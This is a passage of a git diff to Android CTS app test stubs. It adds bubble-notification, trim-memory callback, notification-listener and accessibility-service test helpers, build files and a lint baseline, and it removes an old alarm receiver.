+            super.onStartCommand(intent, flags, startId);
+            final int stickyFlag = intent.getIntExtra(STICKY_FLAG, START_NOT_STICKY);
+            Log.d(TAG, "LocalForegroundServiceSticky.onStartCommand, return " + stickyFlag);
+            return stickyFlag;
+        }
+    }
+}
diff --git a/tests/app/app/src/android/app/stubs/LocalPhoneCallService.java b/tests/app/app/src/android/app/stubs/LocalPhoneCallService.java
new file mode 100644
index 0000000..291bea0
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/LocalPhoneCallService.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.stubs;
+
+/**
+ * Derived class solely for supporting distinct behavioral expectations
+ * based solely on manifest-level declarations.
+ */
+public class LocalPhoneCallService extends LocalForegroundService {
+    private static final String TAG = "LocalPhoneCallService";
+
+    protected String getTag() {
+        return TAG;
+    }
+}
diff --git a/tests/app/app/src/android/app/stubs/MockAlarmReceiver.java b/tests/app/app/src/android/app/stubs/MockAlarmReceiver.java
deleted file mode 100644
index 57374ef..0000000
--- a/tests/app/app/src/android/app/stubs/MockAlarmReceiver.java
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.app.stubs;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.os.SystemClock;
-
-/**
- * this class  receive alarm from AlarmManagerTest
- */
-public class MockAlarmReceiver extends BroadcastReceiver {
-    private final Object mSync = new Object();
-    public final String mTargetAction;
-
-    public volatile boolean alarmed = false;
-    public volatile long elapsedTime;
-    public volatile long rtcTime;
-
-    public MockAlarmReceiver(String targetAction) {
-        mTargetAction = targetAction;
-    }
-
-    @Override
-    public void onReceive(Context context, Intent intent) {
-        final String action = intent.getAction();
-        if (action.equals(mTargetAction)) {
-            synchronized (mSync) {
-                alarmed = true;
-                elapsedTime = SystemClock.elapsedRealtime();
-                rtcTime = System.currentTimeMillis();
-            }
-        }
-    }
-
-    public void setAlarmedFalse() {
-        synchronized (mSync) {
-            alarmed = false;
-        }
-    }
-}
diff --git a/tests/app/app/src/android/app/stubs/SendBubbleActivity.java b/tests/app/app/src/android/app/stubs/SendBubbleActivity.java
index 1cbd70f..05de528 100644
--- a/tests/app/app/src/android/app/stubs/SendBubbleActivity.java
+++ b/tests/app/app/src/android/app/stubs/SendBubbleActivity.java
@@ -16,6 +16,8 @@
 
 package android.app.stubs;
 
+import static android.app.stubs.BubbledActivity.EXTRA_LOCUS_ID;
+
 import android.app.Activity;
 import android.app.Notification;
 import android.app.Notification.BubbleMetadata;
@@ -24,6 +26,7 @@
 import android.app.Person;
 import android.content.Context;
 import android.content.Intent;
+import android.content.LocusId;
 import android.graphics.drawable.Icon;
 import android.os.Bundle;
 import android.os.SystemClock;
@@ -54,37 +57,72 @@
         sendBroadcast(i);
     }
 
+    public void startBubbleActivity(int id) {
+        startBubbleActivity(id, true /* addLocusId */);
+    }
+
+    /**
+     * Starts the same activity that is in the bubble produced by this activity.
+     */
+    public void startBubbleActivity(int id, boolean addLocusId) {
+        final Intent intent = new Intent(getApplicationContext(), BubbledActivity.class);
+        // Clear any previous instance of this activity
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK | Intent.FLAG_ACTIVITY_NEW_TASK);
+        if (addLocusId) {
+            intent.putExtra(EXTRA_LOCUS_ID, String.valueOf(id));
+        }
+        startActivity(intent);
+    }
+
     /**
      * Sends a notification that has bubble metadata but the rest of the notification isn't
      * configured correctly so the system won't allow it to bubble.
      */
-    public void sendInvalidBubble(boolean autoExpand) {
+    public void sendInvalidBubble(int notifId, boolean autoExpand) {
         Context context = getApplicationContext();
 
-        PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, new Intent(), 0);
+        PendingIntent pendingIntent = PendingIntent.getActivity(context, notifId, new Intent(),
+                PendingIntent.FLAG_MUTABLE);
         Notification n = new Notification.Builder(context, NOTIFICATION_CHANNEL_ID)
                 .setSmallIcon(R.drawable.black)
                 .setWhen(System.currentTimeMillis())
-                .setContentTitle("notify#" + BUBBLE_NOTIF_ID)
-                .setContentText("This is #" + BUBBLE_NOTIF_ID + "notification  ")
+                .setContentTitle("notify#" + notifId)
+                .setContentText("This is #" + notifId + "notification  ")
                 .setContentIntent(pendingIntent)
-                .setBubbleMetadata(getBubbleMetadata(autoExpand, false /* suppressNotification */))
+                .setBubbleMetadata(getBubbleMetadata(notifId, autoExpand,
+                        false /* suppressNotification */,
+                        false /* suppressBubble */,
+                        false /* useShortcut */))
                 .build();
 
         NotificationManager noMan = (NotificationManager) context.getSystemService(
                 Context.NOTIFICATION_SERVICE);
-        noMan.notify(BUBBLE_NOTIF_ID, n);
+        noMan.notify(notifId, n);
     }
 
     /** Sends a notification that is properly configured to bubble. */
-    public void sendBubble(boolean autoExpand, boolean suppressNotification) {
+    public void sendBubble(int notifId, boolean autoExpand, boolean suppressNotification) {
+        sendBubble(notifId, autoExpand, suppressNotification, false /* suppressBubble */,
+                false /* useShortcut */, true /* setLocusId */);
+    }
+
+    /** Sends a notification that is properly configured to bubble. */
+    public void sendBubble(int notifId, boolean autoExpand, boolean suppressNotification,
+            boolean suppressBubble) {
+        sendBubble(notifId, autoExpand, suppressNotification, suppressBubble,
+                false /* useShortcut */, true /* setLocusId */);
+    }
+
+    /** Sends a notification that is properly configured to bubble. */
+    public void sendBubble(int notifId, boolean autoExpand, boolean suppressNotification,
+            boolean suppressBubble, boolean useShortcut, boolean setLocusId) {
         Context context = getApplicationContext();
         // Give it a person
         Person person = new Person.Builder()
-                .setName("bubblebot")
+                .setName("bubblebot" + notifId)
                 .build();
         // Make it messaging style
-        Notification n = new Notification.Builder(context, NOTIFICATION_CHANNEL_ID)
+        Notification.Builder nb = new Notification.Builder(context, NOTIFICATION_CHANNEL_ID)
                 .setSmallIcon(R.drawable.black)
                 .setContentTitle("Bubble Chat")
                 .setShortcutId(SHARE_SHORTCUT_ID)
@@ -95,27 +133,47 @@
                         .addMessage("Is it me you're looking for?",
                                 SystemClock.currentThreadTimeMillis(), person)
                 )
-                .setBubbleMetadata(getBubbleMetadata(autoExpand, suppressNotification))
-                .build();
+                .setBubbleMetadata(getBubbleMetadata(notifId,
+                        autoExpand,
+                        suppressNotification,
+                        suppressBubble,
+                        useShortcut));
+
+        if (setLocusId) {
+            nb.setLocusId(new LocusId(String.valueOf(notifId)));
+        }
 
         NotificationManager noMan = (NotificationManager) context.getSystemService(
                 Context.NOTIFICATION_SERVICE);
-        noMan.notify(BUBBLE_NOTIF_ID, n);
+        noMan.notify(notifId, nb.build());
     }
 
-    private BubbleMetadata getBubbleMetadata(boolean autoExpand, boolean suppressNotification) {
-        Context context = getApplicationContext();
-        final Intent intent = new Intent(context, BubbledActivity.class);
-        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        intent.setAction(Intent.ACTION_MAIN);
-        final PendingIntent pendingIntent =
-                PendingIntent.getActivity(context, 0, intent, 0);
+    private BubbleMetadata getBubbleMetadata(int notifId, boolean autoExpand,
+            boolean suppressNotification,
+            boolean suppressBubble,
+            boolean useShortcut) {
+        if (useShortcut) {
+            return new Notification.BubbleMetadata.Builder(SHARE_SHORTCUT_ID)
+                    .setAutoExpandBubble(autoExpand)
+                    .setSuppressableBubble(suppressBubble)
+                    .setSuppressNotification(suppressNotification)
+                    .build();
+        } else {
+            Context context = getApplicationContext();
+            final Intent intent = new Intent(context, BubbledActivity.class);
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            intent.setAction(Intent.ACTION_MAIN);
+            final PendingIntent pendingIntent =
+                    PendingIntent.getActivity(context, notifId, intent,
+                            PendingIntent.FLAG_MUTABLE);
 
-        return new Notification.BubbleMetadata.Builder(pendingIntent,
-                Icon.createWithResource(context, R.drawable.black))
-                .setAutoExpandBubble(autoExpand)
-                .setSuppressNotification(suppressNotification)
-                .build();
+            return new Notification.BubbleMetadata.Builder(pendingIntent,
+                    Icon.createWithResource(context, R.drawable.black))
+                    .setAutoExpandBubble(autoExpand)
+                    .setSuppressNotification(suppressNotification)
+                    .setSuppressableBubble(suppressBubble)
+                    .build();
+        }
     }
 
     /** Waits for the activity to be stopped. Do not call this method on main thread. */
diff --git a/tests/app/app/src/android/app/stubs/SimpleActivity.java b/tests/app/app/src/android/app/stubs/SimpleActivity.java
index a98c117..c1a19db 100644
--- a/tests/app/app/src/android/app/stubs/SimpleActivity.java
+++ b/tests/app/app/src/android/app/stubs/SimpleActivity.java
@@ -19,14 +19,25 @@
 import android.app.Activity;
 import android.content.Intent;
 import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.RemoteException;
 
 /**
  * A simple activity to install for various users to test LauncherApps.
  */
 public class SimpleActivity extends Activity {
+    private IBinder mCallback;
+
     @Override
     public void onCreate(Bundle icicle) {
         super.onCreate(icicle);
+
+        final Intent intent = getIntent();
+        final Bundle extras = intent.getExtras();
+        if (extras != null) {
+            mCallback = extras.getBinder(CommandReceiver.EXTRA_CALLBACK);
+        }
     }
 
     @Override
@@ -35,6 +46,22 @@
     }
 
     @Override
+    public void onTrimMemory(int level) {
+        if (mCallback != null) {
+            final Parcel data = Parcel.obtain();
+            final Parcel reply = Parcel.obtain();
+            data.writeInt(level);
+            try {
+                mCallback.transact(IBinder.FIRST_CALL_TRANSACTION, data, reply, 0);
+            } catch (RemoteException e) {
+            } finally {
+                data.recycle();
+                reply.recycle();
+            }
+        }
+    }
+
+    @Override
     protected void onNewIntent(Intent intent) {
         super.onNewIntent(intent);
         if (intent.getExtras().getBoolean("finish")) {
diff --git a/tests/app/app/src/android/app/stubs/TestNotificationListener.java b/tests/app/app/src/android/app/stubs/TestNotificationListener.java
index a960403..eabde5c 100644
--- a/tests/app/app/src/android/app/stubs/TestNotificationListener.java
+++ b/tests/app/app/src/android/app/stubs/TestNotificationListener.java
@@ -16,22 +16,35 @@
 package android.app.stubs;
 
 import android.content.ComponentName;
+import android.os.ConditionVariable;
 import android.service.notification.NotificationListenerService;
 import android.service.notification.StatusBarNotification;
-import android.util.Log;
 
 import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.Map;
 
 public class TestNotificationListener extends NotificationListenerService {
     public static final String TAG = "TestNotificationListener";
     public static final String PKG = "android.app.stubs";
+    private static final long CONNECTION_TIMEOUT_MS = 1000;
 
     private ArrayList<String> mTestPackages = new ArrayList<>();
 
     public ArrayList<StatusBarNotification> mPosted = new ArrayList<>();
-    public ArrayList<StatusBarNotification> mRemoved = new ArrayList<>();
+    public Map<String, Integer> mRemoved = new HashMap<>();
     public RankingMap mRankingMap;
 
+    /**
+     * This controls whether there is a listener connected or not. Depending on the method, if the
+     * caller tries to use a listener after it has disconnected, NMS can throw a SecurityException.
+     *
+     * There is no race between onListenerConnected() and onListenerDisconnected() because they are
+     * called in the same thread. The value that getInstance() sees is guaranteed to be the value
+     * that was set by onListenerConnected() because of the happens-before established by the
+     * condition variable.
+     */
+    private static final ConditionVariable INSTANCE_AVAILABLE = new ConditionVariable(false);
     private static TestNotificationListener sNotificationListenerInstance = null;
     boolean isConnected;
 
@@ -55,16 +68,22 @@
     public void onListenerConnected() {
         super.onListenerConnected();
         sNotificationListenerInstance = this;
+        INSTANCE_AVAILABLE.open();
         isConnected = true;
     }
 
     @Override
     public void onListenerDisconnected() {
+        INSTANCE_AVAILABLE.close();
+        sNotificationListenerInstance = null;
         isConnected = false;
     }
 
     public static TestNotificationListener getInstance() {
-        return sNotificationListenerInstance;
+        if (INSTANCE_AVAILABLE.block(CONNECTION_TIMEOUT_MS)) {
+            return sNotificationListenerInstance;
+        }
+        return null;
     }
 
     public void resetData() {
@@ -72,6 +91,14 @@
         mRemoved.clear();
     }
 
+    public void addTestPackage(String packageName) {
+        mTestPackages.add(packageName);
+    }
+
+    public void removeTestPackage(String packageName) {
+        mTestPackages.remove(packageName);
+    }
+
     @Override
     public void onNotificationPosted(StatusBarNotification sbn, RankingMap rankingMap) {
         if (sbn == null || !mTestPackages.contains(sbn.getPackageName())) { return; }
@@ -80,10 +107,11 @@
     }
 
     @Override
-    public void onNotificationRemoved(StatusBarNotification sbn, RankingMap rankingMap) {
+    public void onNotificationRemoved(StatusBarNotification sbn, RankingMap rankingMap,
+            int reason) {
         if (sbn == null || !mTestPackages.contains(sbn.getPackageName())) { return; }
         mRankingMap = rankingMap;
-        mRemoved.add(sbn);
+        mRemoved.put(sbn.getKey(), reason);
     }
 
     @Override
diff --git a/tests/app/app/src/android/app/stubs/TrimMemService.java b/tests/app/app/src/android/app/stubs/TrimMemService.java
new file mode 100644
index 0000000..0c9d362
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/TrimMemService.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.stubs;;
+
+import android.app.Service;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.AsyncTask;
+import android.os.Binder;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.RemoteException;
+
+import java.util.concurrent.CountDownLatch;
+
+public class TrimMemService extends Service {
+    private static final int COMMAND_TRIM_MEMORY_LEVEL = IBinder.FIRST_CALL_TRANSACTION;
+    private Binder mRemote = new Binder();
+    private IBinder mCallback;
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        final Bundle extras = intent.getExtras();
+        mCallback = extras.getBinder(CommandReceiver.EXTRA_CALLBACK);
+        return mRemote;
+    }
+
+    @Override
+    public void onTrimMemory(int level) {
+        if (mCallback != null) {
+            Parcel data = Parcel.obtain();
+            Parcel reply = Parcel.obtain();
+            data.writeInt(level);
+            try {
+                mCallback.transact(COMMAND_TRIM_MEMORY_LEVEL, data, reply, 0);
+            } catch (RemoteException e) {
+            } finally {
+                data.recycle();
+                reply.recycle();
+            }
+        }
+    }
+
+    private static class MyMemFactorCallback extends Binder {
+        private CountDownLatch[] mLatchHolder;
+        private int[] mLevelHolder;
+
+        MyMemFactorCallback(CountDownLatch[] latchHolder, int[] levelHolder) {
+            mLatchHolder = latchHolder;
+            mLevelHolder = levelHolder;
+        }
+
+        @Override
+        protected boolean onTransact(int code, Parcel data, Parcel reply, int flags)
+                throws RemoteException {
+            switch (code) {
+                case COMMAND_TRIM_MEMORY_LEVEL:
+                    mLevelHolder[0] = data.readInt();
+                    mLatchHolder[0].countDown();
+                    return true;
+                default:
+                    return false;
+            }
+        }
+    }
+
+    private static class MyServiceConnection implements ServiceConnection {
+        private CountDownLatch mLatch;
+
+        MyServiceConnection(CountDownLatch latch) {
+            mLatch = latch;
+        }
+
+        @Override
+        public void onServiceConnected(ComponentName name, IBinder service) {
+            mLatch.countDown();
+        }
+
+        @Override
+        public void onServiceDisconnected(ComponentName name) {
+        }
+    }
+
+    public static ServiceConnection bindToTrimMemService(String packageName, String instanceName,
+            CountDownLatch[] latchHolder, int[] levelHolder, Context context) throws Exception {
+        final Intent intent = new Intent();
+        intent.setClassName(packageName, "android.app.stubs.TrimMemService");
+        final Bundle extras = new Bundle();
+        extras.putBinder(CommandReceiver.EXTRA_CALLBACK,
+                new MyMemFactorCallback(latchHolder, levelHolder));
+        intent.putExtras(extras);
+        final CountDownLatch latch = new CountDownLatch(1);
+        final MyServiceConnection conn = new MyServiceConnection(latch);
+        context.bindIsolatedService(intent, Context.BIND_AUTO_CREATE | Context.BIND_WAIVE_PRIORITY,
+                instanceName, AsyncTask.THREAD_POOL_EXECUTOR, conn);
+        latch.await();
+        return conn;
+    }
+}
+
diff --git a/tests/app/shared/Android.bp b/tests/app/shared/Android.bp
new file mode 100644
index 0000000..4f12653
--- /dev/null
+++ b/tests/app/shared/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_library {
+    name: "CtsAppTestStubsShared",
+    defaults: ["cts_support_defaults"],
+    libs: [
+        "android.test.base",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "kotlin-test",
+    ],
+    srcs: [
+        "src/**/*.java",
+        "src/**/*.kt",
+        "src/**/*.aidl",
+    ],
+    platform_apis: true,
+    min_sdk_version: "14",
+}
diff --git a/tests/app/shared/AndroidManifest.xml b/tests/app/shared/AndroidManifest.xml
new file mode 100644
index 0000000..247a2a8
--- /dev/null
+++ b/tests/app/shared/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.app.stubs.shared">
+    <application>
+        <service
+            android:name="android.app.stubs.shared.CloseSystemDialogsTestService"
+            android:exported="true" />
+
+        <service
+            android:name=".AppAccessibilityService"
+            android:exported="true"
+            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+            <intent-filter>
+                <action android:name="android.accessibilityservice.AccessibilityService" />
+            </intent-filter>
+        </service>
+    </application>
+</manifest>
diff --git a/tests/app/shared/README.md b/tests/app/shared/README.md
new file mode 100644
index 0000000..26bfe61
--- /dev/null
+++ b/tests/app/shared/README.md
@@ -0,0 +1,2 @@
+Code here is shared between the test (CtsAppTestCases) and the apps (CtsAppTestStubs,
+CtsAppTestStubsAppN)
diff --git a/tests/app/shared/lint-baseline.xml b/tests/app/shared/lint-baseline.xml
new file mode 100644
index 0000000..83c4740
--- /dev/null
+++ b/tests/app/shared/lint-baseline.xml
@@ -0,0 +1,114 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<issues format="5" by="lint 4.1.0" client="cli" variant="all" version="4.1.0">
+
+    <issue
+        id="NewApi"
+        message="Call requires API level 24 (current min is 14): `new java.util.concurrent.CompletableFuture`"
+        errorLine1="            new CompletableFuture&lt;>();"
+        errorLine2="            ~~~~~~~~~~~~~~~~~~~~~~~">
+        <location
+            file="cts/tests/app/shared/src/android/app/stubs/shared/AppAccessibilityService.java"
+            line="36"
+            column="13"/>
+    </issue>
+
+    <issue
+        id="NewApi"
+        message="Call requires API level 23 (current min is 14): `android.content.Context#getSystemService`"
+        errorLine1="        mWindowManager = getSystemService(WindowManager.class);"
+        errorLine2="                         ~~~~~~~~~~~~~~~~">
+        <location
+            file="cts/tests/app/shared/src/android/app/stubs/shared/AppAccessibilityService.java"
+            line="54"
+            column="26"/>
+    </issue>
+
+    <issue
+        id="NewApi"
+        message="Call requires API level 24 (current min is 14): `java.util.concurrent.CompletableFuture#obtrudeValue`"
+        errorLine1="        sServiceFuture.obtrudeValue(this);"
+        errorLine2="                       ~~~~~~~~~~~~">
+        <location
+            file="cts/tests/app/shared/src/android/app/stubs/shared/AppAccessibilityService.java"
+            line="71"
+            column="24"/>
+    </issue>
+
+    <issue
+        id="NewApi"
+        message="Call requires API level 24 (current min is 14): `new java.util.concurrent.CompletableFuture`"
+        errorLine1="        sServiceFuture = new CompletableFuture&lt;>();"
+        errorLine2="                         ~~~~~~~~~~~~~~~~~~~~~~~">
+        <location
+            file="cts/tests/app/shared/src/android/app/stubs/shared/AppAccessibilityService.java"
+            line="86"
+            column="26"/>
+    </issue>
+
+    <issue
+        id="NewApi"
+        message="Call requires API level 23 (current min is 14): `android.content.Context#getSystemService`"
+        errorLine1="        mNotificationManager = getSystemService(NotificationManager.class);"
+        errorLine2="                               ~~~~~~~~~~~~~~~~">
+        <location
+            file="cts/tests/app/shared/src/android/app/stubs/shared/CloseSystemDialogsTestService.java"
+            line="60"
+            column="32"/>
+    </issue>
+
+    <issue
+        id="NewApi"
+        message="Call requires API level 26 (current min is 14): `new android.app.Notification.Builder`"
+        errorLine1="                new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)"
+        errorLine2="                ~~~~~~~~~~~~~~~~~~~~~~~~">
+        <location
+            file="cts/tests/app/shared/src/android/app/stubs/shared/CloseSystemDialogsTestService.java"
+            line="135"
+            column="17"/>
+    </issue>
+
+    <issue
+        id="NewApi"
+        message="Call requires API level 16 (current min is 14): `android.app.Notification.Builder#build`"
+        errorLine1="                        .build();"
+        errorLine2="                         ~~~~~">
+        <location
+            file="cts/tests/app/shared/src/android/app/stubs/shared/CloseSystemDialogsTestService.java"
+            line="138"
+            column="26"/>
+    </issue>
+
+    <issue
+        id="NewApi"
+        message="Call requires API level 26 (current min is 14): `new android.app.NotificationChannel`"
+        errorLine1="        NotificationChannel notificationChannel = new NotificationChannel(NOTIFICATION_CHANNEL_ID,"
+        errorLine2="                                                  ~~~~~~~~~~~~~~~~~~~~~~~">
+        <location
+            file="cts/tests/app/shared/src/android/app/stubs/shared/CloseSystemDialogsTestService.java"
+            line="139"
+            column="51"/>
+    </issue>
+
+    <issue
+        id="NewApi"
+        message="Call requires API level 26 (current min is 14): `android.app.NotificationManager#createNotificationChannel`"
+        errorLine1="        mNotificationManager.createNotificationChannel(notificationChannel);"
+        errorLine2="                             ~~~~~~~~~~~~~~~~~~~~~~~~~">
+        <location
+            file="cts/tests/app/shared/src/android/app/stubs/shared/CloseSystemDialogsTestService.java"
+            line="141"
+            column="30"/>
+    </issue>
+
+    <issue
+        id="NewApi"
+        message="Call requires API level 28 (current min is 14): `android.app.Activity#requireViewById`"
+        errorLine1="        get() = requireViewById&lt;FrameLayout>(R.id.content).getChildAt(0)"
+        errorLine2="                ~~~~~~~~~~~~~~~">
+        <location
+            file="cts/tests/app/shared/src/android/app/stubs/shared/NotificationHostActivity.kt"
+            line="39"
+            column="17"/>
+    </issue>
+
+</issues>
diff --git a/tests/app/shared/src/android/app/cts/NotificationTemplateTestBase.kt b/tests/app/shared/src/android/app/cts/NotificationTemplateTestBase.kt
new file mode 100644
index 0000000..b890636
--- /dev/null
+++ b/tests/app/shared/src/android/app/cts/NotificationTemplateTestBase.kt
@@ -0,0 +1,134 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.cts
+
+import android.R
+import android.app.stubs.shared.NotificationHostActivity
+import android.content.Intent
+import android.test.AndroidTestCase
+import android.view.View
+import android.view.ViewGroup
+import android.widget.ImageView
+import android.widget.RemoteViews
+import android.widget.TextView
+import androidx.annotation.BoolRes
+import androidx.annotation.DimenRes
+import androidx.annotation.IdRes
+import androidx.annotation.StringRes
+import androidx.lifecycle.Lifecycle
+import androidx.test.core.app.ActivityScenario
+import kotlin.reflect.KClass
+
+open class NotificationTemplateTestBase : AndroidTestCase() {
+
+    // Used to give time to visually inspect or attach a debugger before the checkViews block
+    protected var waitBeforeCheckingViews: Long = 0
+
+    protected fun checkIconView(views: RemoteViews, iconCheck: (ImageView) -> Unit) {
+        checkViews(views) {
+            iconCheck(requireViewByIdName("right_icon"))
+        }
+    }
+
+    protected fun checkViews(
+        views: RemoteViews,
+        @DimenRes heightDimen: Int? = null,
+        checker: NotificationHostActivity.() -> Unit
+    ) {
+        val activityIntent = Intent(context, NotificationHostActivity::class.java)
+        activityIntent.putExtra(NotificationHostActivity.EXTRA_REMOTE_VIEWS, views)
+        heightDimen?.also {
+            activityIntent.putExtra(NotificationHostActivity.EXTRA_HEIGHT,
+                    context.resources.getDimensionPixelSize(it))
+        }
+        ActivityScenario.launch<NotificationHostActivity>(activityIntent).use { scenario ->
+            scenario.moveToState(Lifecycle.State.RESUMED)
+            if (waitBeforeCheckingViews > 0) {
+                Thread.sleep(waitBeforeCheckingViews)
+            }
+            scenario.onActivity { activity ->
+                activity.checker()
+            }
+        }
+    }
+
+    protected fun makeCustomContent(): RemoteViews {
+        val customContent = RemoteViews(mContext.packageName, R.layout.simple_list_item_1)
+        val textId = getAndroidRId("text1")
+        customContent.setTextViewText(textId, "Example Text")
+        return customContent
+    }
+
+    protected fun <T : View> NotificationHostActivity.requireViewByIdName(idName: String): T {
+        val viewId = getAndroidRId(idName)
+        return notificationRoot.findViewById<T>(viewId)
+                ?: throw NullPointerException("No view with id: android.R.id.$idName ($viewId)")
+    }
+
+    protected fun <T : View> NotificationHostActivity.findViewByIdName(idName: String): T? =
+            notificationRoot.findViewById<T>(getAndroidRId(idName))
+
+    /** [Sequence] that yields all of the direct children of this [ViewGroup] */
+    private val ViewGroup.children
+        get() = sequence { for (i in 0 until childCount) yield(getChildAt(i)) }
+
+    private fun <T : View> collectViews(
+        view: View,
+        type: KClass<T>,
+        mutableList: MutableList<T>,
+        requireVisible: Boolean = true,
+        predicate: (T) -> Boolean
+    ) {
+        if (requireVisible && view.visibility != View.VISIBLE) {
+            return
+        }
+        if (type.java.isInstance(view)) {
+            if (predicate(view as T)) {
+                mutableList.add(view)
+            }
+        }
+        if (view is ViewGroup) {
+            for (child in view.children) {
+                collectViews(child, type, mutableList, requireVisible, predicate)
+            }
+        }
+    }
+
+    protected fun NotificationHostActivity.requireViewWithText(text: String): TextView =
+            findViewWithText(text) ?: throw RuntimeException("Unable to find view with text: $text")
+
+    protected fun NotificationHostActivity.findViewWithText(text: String): TextView? {
+        val views: MutableList<TextView> = ArrayList()
+        collectViews(notificationRoot, TextView::class, views) { it.text?.toString() == text }
+        when (views.size) {
+            0 -> return null
+            1 -> return views[0]
+            else -> throw RuntimeException("Found multiple views with text: $text")
+        }
+    }
+
+    private fun getAndroidRes(resType: String, resName: String): Int =
+            mContext.resources.getIdentifier(resName, resType, "android")
+
+    @IdRes
+    protected fun getAndroidRId(idName: String): Int = getAndroidRes("id", idName)
+
+    @StringRes
+    protected fun getAndroidRString(stringName: String): Int = getAndroidRes("string", stringName)
+
+    @BoolRes
+    protected fun getAndroidRBool(boolName: String): Int = getAndroidRes("bool", boolName)
+}
\ No newline at end of file
diff --git a/tests/app/shared/src/android/app/stubs/shared/AppAccessibilityService.java b/tests/app/shared/src/android/app/stubs/shared/AppAccessibilityService.java
new file mode 100644
index 0000000..b3c3fb1
--- /dev/null
+++ b/tests/app/shared/src/android/app/stubs/shared/AppAccessibilityService.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.stubs.shared;
+
+import android.accessibilityservice.AccessibilityService;
+import android.content.Context;
+import android.graphics.Canvas;
+import android.graphics.PixelFormat;
+import android.os.ConditionVariable;
+import android.view.View;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.view.accessibility.AccessibilityEvent;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.Future;
+
+/** Accessibility service that posts a window as soon as it's enabled. */
+public class AppAccessibilityService extends AccessibilityService {
+    private static final int BACKGROUND_COLOR = 0xFFFF0000;
+    private static volatile CompletableFuture<AppAccessibilityService> sServiceFuture =
+            new CompletableFuture<>();
+
